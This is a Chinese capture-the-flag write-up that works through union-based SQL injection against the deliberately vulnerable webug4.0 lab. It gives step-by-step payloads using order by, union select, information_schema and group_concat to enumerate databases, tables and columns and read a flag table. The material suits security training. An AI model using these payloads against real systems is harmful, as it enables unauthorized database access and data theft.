webug4.0 显错注入-1

webug4.0 显错注入-1

一些小的知识

  1. concat(str1,str2,...)    返回结果为参数间无间隔符连接起来的字符串,如果其中有一个参数为NULL,返回结果为NULL
  2. concat_ws(separator, str1, str2, ...)    含有分隔符地连接字符串,第一个参数为制定的分隔符
  3. group_concat(str1,str2,...)   连接一个组的所有字符串,并以逗号分隔每一条数据
  4. union 用于合并两个或多个select语句的结果集,需要注意的是union内部的select须拥有相同数量的列,且列的数据类型也要相同。
  5. 注入的一般流程为:输入点-->数据库-->数据表-->数据列-->数据项 

    进入靶场

    先看一下界面
    ip:192.168.177.130/control/sqlinject/manifest_error.php?id=1

看到id=1试一下id=2,id=3
id=2:

id=3:

对比可以猜测:

网站后端根据get到的id搜索输出到网页上,如果没有结果,则对应位置没有结果,如id=3时

寻找注入点

报错注入,id=3,猜测下SQL语句是:

select * from table where id = $id+(后面可能有的限制语句或嵌套查询语句等等,因此习惯在注入语句后面跟注释符屏蔽这些可能的干扰)

接下来挨个试试单引号、双引号、括号以及他们的相互组合:

url?id=1'时报错
Invalid query: SELECT * FROM sqlinjection WHERE id = '1''

找到注入点,利用order by判断字段个数,知道了才方便用union
http://localhost/control/sqlinject/manifest_error.php?id=1' order by 1%23

从1开始尝试,发现到3时页面报错,因此判断字段个数为2个(网上看大佬的wp都是利用二分法查询,这样在字段多的时候更容易查询出来,wuwuwu果然太菜了)

接下来让我们看看我们想要的数据在第几列
payloa:id=3' union select 1,2%23

在第二列。到了这里就完了,接下来我们可以利用这个注入点获取我们想要的信息了。
做这一步是因为 UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名,后端会将查到的一个列输出出来,如图。

比如查询用户名:id=3%27%20union%20select%201,user()%23

查询flag

1.查询mysql版本
payload:id=3' union select 1,version() %23

版本大于15的话mysql里面就有information_schema这个数据库,我们可以通过这个数据库获取到mysql里各个数据库及其表和字段的信息

2.确认mysql中有哪些数据库

由于页面显示只有一个字段,而我们查出来的数据库肯定有多个。所以这里我们需要用到一个函数GROUP_CONCAT来组合多个数据。

payload:
id=3' UNION SELECT 1,GROUP_CONCAT(schema_name) FROM information_schema.SCHEMATA %23

查看当前数据库
payload:id=3' UNION SELECT 1,database()%23

先查查有哪些表再说

payload:
id=3' UNION SELECT 1,GROUP_CONCAT(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA =%20 'webug'%23

哈哈哈发现有个flag表

确认表的字段

payload:
id=3' UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='flag'%23

看看吧

payload:id=3' UNION SELECT 1,id from webug.flag%23

payload:id=3' UNION SELECT 1,flag from webug.flag%23

得到flag,打开靶场提交,显示flag正确

猜你喜欢

转载自www.cnblogs.com/pikachuu/p/12349732.html